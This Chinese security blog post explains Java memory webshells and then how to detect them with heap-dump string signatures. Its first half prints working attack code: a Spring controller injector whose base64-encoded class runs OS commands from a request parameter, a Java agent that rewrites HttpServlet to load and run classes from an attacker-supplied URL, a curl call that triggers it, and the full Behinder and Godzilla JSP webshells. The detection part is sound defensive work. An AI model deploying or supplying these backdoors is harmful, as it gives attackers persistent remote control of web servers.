三条命令查杀冰蝎、哥斯拉内存马

一、前言

最近遇到一次真实的内存马排查case,之前自己也是有专门做过内存马查杀工具,于是重新回顾梳理,并把自己的一些方法分享出来。

二、内存马介绍

首先我们了解一下内存马注入的方法,有两种注入内存马的方式:

1、动态注入组件

2、通过Instrument修改内存class

2.1、动态注入组件

通过创建如 Listener、Filter、Servlet、Valve 等 java web 组件,并通过如反射等形式进行注册、替换、增加 handler进行处理。

这里动态地对Spring注入Controller,由于之前在网上找到的代码不兼容新的Spring接口,这里对代码进行修正,成功注入。

目标环境:JDK11 + Spring 2.7.18

package com.example.testspring;  
  
  
import org.springframework.web.bind.annotation.GetMapping;  
import org.springframework.web.bind.annotation.RequestMethod;  
import org.springframework.web.bind.annotation.RestController;  
import org.springframework.web.context.WebApplicationContext;  
import org.springframework.web.context.request.RequestContextHolder;  
import org.springframework.web.context.request.ServletRequestAttributes;  
import org.springframework.web.servlet.mvc.condition.*;  
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;  
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;  
import org.springframework.web.servlet.support.RequestContextUtils;  
import org.springframework.web.util.pattern.PathPatternParser;  
  
  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Method;  
import java.util.Base64;  
  
  
@RestController  
public classTestController{  
    @GetMapping("/add_controller")  
    public String hello(){  
try{  
String className ="com.example.spring.InjectControl";  
//加载com.example.spring.InjectControl类的字节码  
String b64 ="yv66vgAAADQAiQoAIQBFCABGCwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGILAEkAZgcAZwcAaAcAaQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAiTGNvbS9leGFtcGxlL3NwcmluZy9JbmplY3RDb250cm9sOwEABWxvZ2luAQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BABJMamF2YS9sYW5nL1N0cmluZzsBAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEABGFyZzABAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcAUwcAagcAUgcAWQcAZwEAGVJ1bnRpbWVWaXNpYmxlQW5ub3RhdGlvbnMBADhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nOwEABXZhbHVlAQAIL2Zhdmljb24BAApTb3VyY2VGaWxlAQASSW5qZWN0Q29udHJvbC5qYXZhAQArTG9yZy9zcHJpbmdmcmFtZXdvcmsvc3RlcmVvdHlwZS9Db250cm9sbGVyOwwAIgAjAQADY21kBwBrDABsAG0HAG4MAG8AcAEAAAEAB29zLm5hbWUHAHEMAHIAbQwAcwB0AQADd2luDAB1AHYBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jDAAiAHcBAAcvYmluL3NoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgwAeAB5BwB6DAB7AHwMACIAfQEAAlxBDAB+AH8MAIAAgQwAggB0DACDACMHAGoMAIQAhQwAhgAjDACHAIgBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAgY29tL2V4YW1wbGUvc3ByaW5nL0luamVjdENvbnRyb2wBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9pby9QcmludFdyaXRlcgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEABWNsb3NlAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEACXNlbmRFcnJvcgEABChJKVYAIQAgACEAAAAAAAIAAQAiACMAAQAkAAAALwABAAEAAAAFKrcAAbEAAAACACUAAAAGAAEAAAAKACYAAAAMAAEAAAAFACcAKAAAAAEAKQAqAAIAJAAAAagABgAIAAAAsysSArkAAwIATiy5AAQBADoELcYAkxIFOgUSBrgAB7YACBIJtgAKmQAhuwALWQa9AAxZAxINU1kEEg5TWQUtU7cADzoGpwAeuwALWQa9AAxZAxIQU1kEEhFTWQUtU7cADzoGuwASWRkGtgATtgAUtwAVEha2ABc6BxkHtgAYmQALGQe2ABmnAAUZBToFGQe2ABoZBBkFtgAbGQS2ABwZBLYAHacADCwRAZS5AB4CAKcABE6xAAEAAACuALEAHwADACUAAABKABIAAAAOAAkADwARABAAFQARABkAEwApABQARwAWAGIAGAB4ABkAjAAaAJEAGwCYABwAnQAdAKIAHgClAB8ArgAiALEAIQCyACMAJgAAAFwACQBEAAMAKwAsAAYAGQCJAC0ALgAFAGIAQAArACwABgB4ACoALwAwAAcACQClADEALgADABEAnQAyADMABAAAALMAJwAoAAAAAACzADQANQABAAAAswA2ADcAAgA4AAAAKQAI/gBHBwA5BwA6BwA5/AAaBwA7/AAlBwA8QQcAOfgAGvkACEIHAD0AAD4AAAAOAAEAPwABAEBbAAFzAEEAAgBCAAAAAgBDAD4AAAAGAAEARAAA";  
            byte[]bytes=Base64.getDecoder().decode(b64);  
            java.lang.ClassLoader classLoader =Thread.currentThread().getContextClassLoader();  
            java.lang.reflect.Method m0 =ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class,int.class,int.class);  
            m0.setAccessible(true);  
  
  
try{  
                m0.invoke(classLoader, className,bytes,0,bytes.length);  
}catch (Exception e){  
  
  
}  
  
  
  
  
WebApplicationContext context =RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());  
  
  
            org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping =(org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);  
  
  
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);  
//通过反射获得自定义controller中唯一的Method对象  
Method method =(classLoader.loadClass(className).getDeclaredMethods())[0];  
  
  
//在内存中动态注册 controller  
Class<?> class1 =Class.forName("org.springframework.web.servlet.mvc.method.RequestMappingInfo");  
Constructor<?> method1 = class1.getDeclaredConstructor(String.class,PathPatternsRequestCondition.class,PatternsRequestCondition.class,  
RequestMethodsRequestCondition.class,ParamsRequestCondition.class,HeadersRequestCondition.class,ConsumesRequestCondition.class,  
ProducesRequestCondition.class,RequestConditionHolder.class,RequestMappingInfo.BuilderConfiguration.class);  
            method1.setAccessible(true);  
RequestMappingInfo info =(RequestMappingInfo) method1.newInstance(  
"test",new PathPatternsRequestCondition(new PathPatternParser(),"/cmd"),null,new RequestMethodsRequestCondition(RequestMethod.GET),  
                    new ParamsRequestCondition(),new HeadersRequestCondition(),new ConsumesRequestCondition(),  
                    new ProducesRequestCondition(),new RequestConditionHolder(null),new RequestMappingInfo.BuilderConfiguration()  
);  
  
  
RequestMappingInfo抛弃了  
定义访问controller的URL地址  
//PatternsRequestCondition url = new PatternsRequestCondition("/cmd");  
定义允许访问 controller 的 HTTP 方法(GET/POST)  
//RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(RequestMethod.GET);  
//PathPatternsRequestCondition ppr = new PathPatternsRequestCondition(new PathPatternParser(),"/hahaha");  
//RequestMappingInfo info = new RequestMappingInfo("test", url,ms, null, null, null, null,null);  
  
  
            r.registerMapping(info, classLoader.loadClass(className).newInstance(), method);  
  
  
} catch (Exception e){  
            e.printStackTrace();  
}  
return"test";  
}  
}  
  

0

测试的时候需要注意:

1、jdk 21反射加载class会被禁止

2、JDK和Java版本的兼容,具体参考:https://endoflife.date/spring-boot

1

2.2、通过Instrument修改内存class

通过Java的Instrumentation或者系统的执行文件jvm.dll的方式调用redefineClasses、retransformClasses对内存的class进行修改。

比如这里我们通过java的Instrumentation修改jakarta.servlet.http.HttpServlet、javax.servlet.http.HttpServlet的逻辑,只要访问到Servlet就会触发我们的后门的逻辑。

具体代码如下:

import javassist.ClassClassPath;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtMethod;  
import java.lang.instrument.ClassDefinition;  
import java.lang.instrument.Instrumentation;  
import java.util.ArrayList;  
import java.util.HashMap;  
import java.util.List;  
import java.util.Map;  
publicclassAfterDemo{  
publicstaticvoid agentmain(String agentArgs,Instrumentation inst){  
System.out.println("hello I`m agentMain!!!");  
Class<?>[] cLasses = inst.getAllLoadedClasses();  
byte[] bArr =newbyte[0];  
Map<String,Map<String,Object>> targetClasses =newHashMap<>();  
Map<String,Object> targetClassJavaxMap =newHashMap<>();  
        targetClassJavaxMap.put("methodName","service");  
List<String> paramJavaxClsStrList =newArrayList<>();  
        paramJavaxClsStrList.add("javax.servlet.ServletRequest");  
        paramJavaxClsStrList.add("javax.servlet.ServletResponse");  
        targetClassJavaxMap.put("paramList", paramJavaxClsStrList);  
        targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);  
Map<String,Object> targetClassJakartaMap =newHashMap<>();  
        targetClassJakartaMap.put("methodName","service");  
List<String> paramJakartaClsStrList =newArrayList<>();  
        paramJakartaClsStrList.add("jakarta.servlet.ServletRequest");  
        paramJakartaClsStrList.add("jakarta.servlet.ServletResponse");  
        targetClassJakartaMap.put("paramList", paramJakartaClsStrList);  
        targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);  
        targetClasses.put("jakarta.servlet.http.HttpServlet", targetClassJakartaMap);  
ClassPool cPool =ClassPool.getDefault();  
if(ServerDetector.isWebLogic()){  
            targetClasses.clear();  
Map<String,Object> targetClassWeblogicMap =newHashMap<>();  
            targetClassWeblogicMap.put("methodName","execute");  
List<String> paramWeblogicClsStrList =newArrayList<>();  
            paramWeblogicClsStrList.add("javax.servlet.ServletRequest");  
            paramWeblogicClsStrList.add("javax.servlet.ServletResponse");  
            targetClassWeblogicMap.put("paramList", paramWeblogicClsStrList);  
            targetClasses.put("weblogic.servlet.internal.ServletStubImpl", targetClassWeblogicMap);  
}  
String shellCode ="javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;\n"+  
"javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;\n"+  
"javax.servlet.http.HttpSession session = request.getSession();\n"+  
"String pathPattern=\"/linject\";\n"+  
"if (request.getRequestURI().matches(pathPattern))\n"+  
"{\n"+  
"   java.util.Map obj=new java.util.HashMap();\n"+  
"   obj.put(\"request\",request);\n"+  
"   obj.put(\"response\",response);\n"+  
"   obj.put(\"session\",session);\n"+  
"   ClassLoader loader=this.getClass().getClassLoader();\n"+  
"   if (request.getMethod().equals(\"POST\"))\n"+  
"   {\n"+  
"      try{\n"+  
"            String lUrl = request.getParameter(\"lUrl\");\n"+  
"            String lName = request.getParameter(\"lName\");\n"+  
"            java.net.URL[] urls = new java.net.URL[]{new java.net.URL(lUrl)};\n"+  
"            java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(urls,this.getClass().getClassLoader());\n"+  
"            Class clazz = urlClassLoader.loadClass(lName);\n"+  
"            java.lang.reflect.Method[] methods = clazz.getDeclaredMethods();\n"+  
"            for (int i = 0; i < methods.length; i++) {\n"+  
"                  System.out.println(\"method: \" +methods[i].getName());\n"+  
"            }\n"+  
"            java.lang.reflect.Constructor[] constructors = clazz.getDeclaredConstructors();\n"+  
"            for (int i = 0; i < constructors.length; i++) {\n"+  
"                  System.out.println(\"constructor: \" +constructors[i].getName());\n"+  
"            }\n"+  
"            Object obj = clazz.newInstance();\n"+  
"            return;\n"+  
"      }catch (Exception e){e.printStackTrace();}\n"+  
"   }\n"+  
"}";  
for(Class<?> cls : cLasses){  
System.out.println(cls.getName());  
if(targetClasses.keySet().contains(cls.getName())){  
String targetClassName = cls.getName();  
try{  
System.out.println("found class:"+targetClassName);  
if(targetClassName.equals("jakarta.servlet.http.HttpServlet")){  
                        shellCode = shellCode.replace("javax.servlet","jakarta.servlet");  
}  
ClassClassPath classPath =newClassClassPath(cls);  
                    cPool.insertClassPath(classPath);  
                    cPool.importPackage("java.lang.reflect.Method");  
                    cPool.importPackage("javax.crypto.Cipher");  
List<CtClass> paramClsList =newArrayList<>();  
for(Object clsName :(List) targetClasses.get(targetClassName).get("paramList")){  
                        paramClsList.add(cPool.get((String) clsName));  
}  
CtClass cClass = cPool.get(targetClassName);  
String methodName = targetClasses.get(targetClassName).get("methodName").toString();  
CtMethod cMethod = cClass.getDeclaredMethod(methodName,(CtClass[]) paramClsList.toArray(newCtClass[paramClsList.size()]));  
                    cMethod.insertBefore(shellCode);  
                    cClass.detach();  
byte[] data = cClass.toBytecode();  
                    inst.redefineClasses(newClassDefinition[]{newClassDefinition(cls, data)});  
}catch(Exception e){  
                    e.printStackTrace();  
}  
break;  
}  
}  
}  
}  
  

我们加载一个jar,然后对class进行实例化(里面包含我们的任意代码)。

curl -X POST  'http://127.0.0.1:9091/linject?lUrl=http://127.0.0.1/TestSpring4.jar&lName=org.example.testspring4.Inject&password' -vvv

之前的文章是结合这两种方法实现:java内存马深度利用:窃取明文、钓鱼

2.3、冰蝎 & 哥斯拉 分析

2.3.1、冰蝎分析

冰蝎马的代码如下:

<% @page  
import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!classU extends ClassLoader{  
    U(ClassLoader c){  
super(c);  
}  
    public Class g(byte[] b){  
returnsuper.defineClass(b,0, b.length);  
}  
}%><%  
if(request.getMethod().equals("POST")){  
String k ="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/  
    session.putValue("u", k);  
Cipher c =Cipher.getInstance("AES");  
    c.init(2, new SecretKeySpec(k.getBytes(),"AES"));  
    new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);  
} %>

对木马的功能行模块化,需要使用对应的功能时,然后把对应的功能的字节码注入进行,然后通过classloader加载使用。

功能代码逻辑都在这些class中:Behinder/net/rebeyond/behinder/payload/java/

3

额外说一下,冰蝎支持java agent注入修改class,具体逻辑可以看tools_0.jar:

Behinder/net/rebeyond/behinder/resource/tools/tools_0.jar

2.3.2、哥斯拉分析

跟冰蝎是一样的,不过不同的是哥斯拉会把所有的功能集中到一个class而非模块化,当然一些插件除外。

<% !Stringxc="3c6e0b8a9c15224a";  
Stringpass="pass";  
Stringmd5= md5(pass + xc);  
classXextendsClassLoader{  
publicX(ClassLoader z){  
super(z);  
}  
publicClassQ(byte[] cb){  
returnsuper.defineClass(cb,0, cb.length);  
}  
}  
publicbyte[] x(byte[] s,boolean m){  
try{  
        javax.crypto.Cipherc= javax.crypto.Cipher.getInstance("AES");  
        c.init(m ?1:2,newjavax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));  
return c.doFinal(s);  
}catch(Exception e){  
returnnull;  
}  
}  
publicstaticStringmd5(String s){  
Stringret=null;  
try{  
        java.security.MessageDigest m;  
        m = java.security.MessageDigest.getInstance("MD5");  
        m.update(s.getBytes(),0, s.length());  
        ret =newjava.math.BigInteger(1, m.digest()).toString(16).toUpperCase();  
}catch(Exception e){}  
return ret;  
}  
publicstaticStringbase64Encode(byte[] bs)throwsException{  
Class base64;  
Stringvalue=null;  
try{  
        base64 =Class.forName("java.util.Base64");  
ObjectEncoder= base64.getMethod("getEncoder",null).invoke(base64,null);  
        value =(String)Encoder.getClass().getMethod("encodeToString",newClass[]{  
byte[].class  
}).invoke(Encoder,newObject[]{  
            bs  
});  
}catch(Exception e){  
try{  
            base64 =Class.forName("sun.misc.BASE64Encoder");  
ObjectEncoder= base64.newInstance();  
            value =(String)Encoder.getClass().getMethod("encode",newClass[]{  
byte[].class  
}).invoke(Encoder,newObject[]{  
                bs  
});  
}catch(Exception e2){}  
}  
return value;  
}  
publicstaticbyte[] base64Decode(String bs)throwsException{  
Class base64;  
byte[] value =null;  
try{  
            base64 =Class.forName("java.util.Base64");  
Objectdecoder= base64.getMethod("getDecoder",null).invoke(base64,null);  
            value =(byte[]) decoder.getClass().getMethod("decode",newClass[]{  
String.class  
}).invoke(decoder,newObject[]{  
                bs  
});  
}catch(Exception e){  
try{  
                base64 =Class.forName("sun.misc.BASE64Decoder");  
Objectdecoder= base64.newInstance();  
                value =(byte[]) decoder.getClass().getMethod("decodeBuffer",newClass[]{  
String.class  
}).invoke(decoder,newObject[]{  
                    bs  
});  
}catch(Exception e2){}  
}  
return value;  
}%><%  
try{  
byte[] data = base64Decode(request.getParameter(pass));  
        data = x(data,false);  
if(session.getAttribute("payload")==null){  
            session.setAttribute("payload",newX(this.getClass().getClassLoader()).Q(data));  
}else{  
            request.setAttribute("parameters", data);  
            java.io.ByteArrayOutputStreamarrOut=newjava.io.ByteArrayOutputStream();  
Objectf=((Class) session.getAttribute("payload")).newInstance();  
            f.equals(arrOut);  
            f.equals(pageContext);  
            response.getWriter().write(md5.substring(0,16));  
            f.toString();  
            response.getWriter().write(base64Encode(x(arrOut.toByteArray(),true)));  
            response.getWriter().write(md5.substring(16));  
}  
}catch(Exception e){}%>  
  

4

哥斯拉的功能class逻辑已反编译成java:https://pastebin.com/raw/mMv8pZZP

三、如何查杀

这里的查杀方案有很多,这里我之前也是写了一款查杀工具给内部使用,但都是大同小异,效果都比较一般(因为都能在jvm执行任意代码了,bypass手法比较多)。

3.1、直接dump敏感的class

我们直接dump一些比较敏感的类(在web请求流程中并且能拿到request和response的类),因为攻击者可以使用java agent对class进行修改,让自己的请求进行后门逻辑。

之前笔者收集了一些class(也不全),供大家参考:

javax.servlet.http.HttpServlet  // tomcat 修改service方法  
javax.servlet.http.HttpServletRequest  // tomcat 修改 getQueryString  
org.apache.catalina.core.ApplicationFilterChain  // tomcat filter  
org.apache.tomcat.websocket.server.WsFilter  // tomcat websocket  
org.springframework.web.servlet.DispatcherServlet  // spring  
weblogic.servlet.internal.ServletStubImpl  // weblogic

然后我们检查这里的逻辑是否被修改。

2.2、查看注册的组件

我们直接获取对应的Context,然后获取对应的Listener、Filter、Servlet的列表

比如优秀的开源工具:https://github.com/c0ny1/java-memshell-scanner,不过这里需要通过jsp,我们可以通过arthas进行快速查杀。

5

3.3、根据类的属性dump

根据危险注解、类名、继承的类、classloader、getResource为空等信息 dump 可疑的组件,结合人工反编译后进行分析。

当初自己开发的工具也是按照这个方法开发的,但是这种方法是有缺陷的。

1、dump class速度太慢了

2、会有漏水情况

6

也有开源工具:https://github.com/LandGrey/copagent。

3.3.1、classloader属性

我们以及classloader角度为例子,首先我们遍历classloader,然后寻找敏感的classloader(内存马也会自定义claassloader)

成功找到哥斯拉内存马

7

8

3.4、jmx - Mbean

在注册组件的时候会注册mbean,这样会留下痕迹,我们可以查看所有的mbean,查看注册的路由或者class是否正常,比较快捷简单,也是一个不错的方法。

9

3.5、三条命令查杀冰蝎、哥斯拉 - 内存检测

根据我们之前分析,无论冰蝎和哥斯拉都会把的后门代码(执行命令、文件管理)类注入内存中,所以我们只要分析这些后门类的即可(因为类加载器的特征比较少),这里我以进入内存马页面会自动触发的功能(内存马展示基础信息类)的一些特征分析,发现一些字符串特征,为了减少误报,需要满足三个特征即告警。

下图是我注入冰蝎、哥斯拉两个内存马

10

11

# dump内存  
jmap -dump:live,format=b,file=heapdump.hprof pid  
# 检测Godzilla  
if grep -q 'getBasicsInfo' heapdump.hprof && grep -q 'srcFileName' heapdump.hprof && grep -q 'destFileName' heapdump.hprof;then echo 'exist Godzilla';else echo '';fi;  
# 检测冰蝎  
if grep -q 'basicInfo' heapdump.hprof && grep -q 'currentPath' heapdump.hprof && grep -q 'driveList' heapdump.hprof;then echo 'exist behinder';else echo '';fi;  
  

12

四、总结

内存马姿势多种多样,内存马的检测方法同样百花齐放。从上面的分析来说可以总结为“80万对60万,优势在我”是攻方,比如通过三条命令发现内存马,发现的只是已有的特征,攻方也可以修改这些特征,所以还需要另辟蹊径。笔者找到一个在实验环境表现不错的第二个新方法,等实践不错后再分享出来。

最后

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。

因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。

干货主要有:

①1000+CTF历届题库(主流和经典的应该都有了)

②CTF技术文档(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2023密码学/隐身术/PWN技术手册大全

扫码领取

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值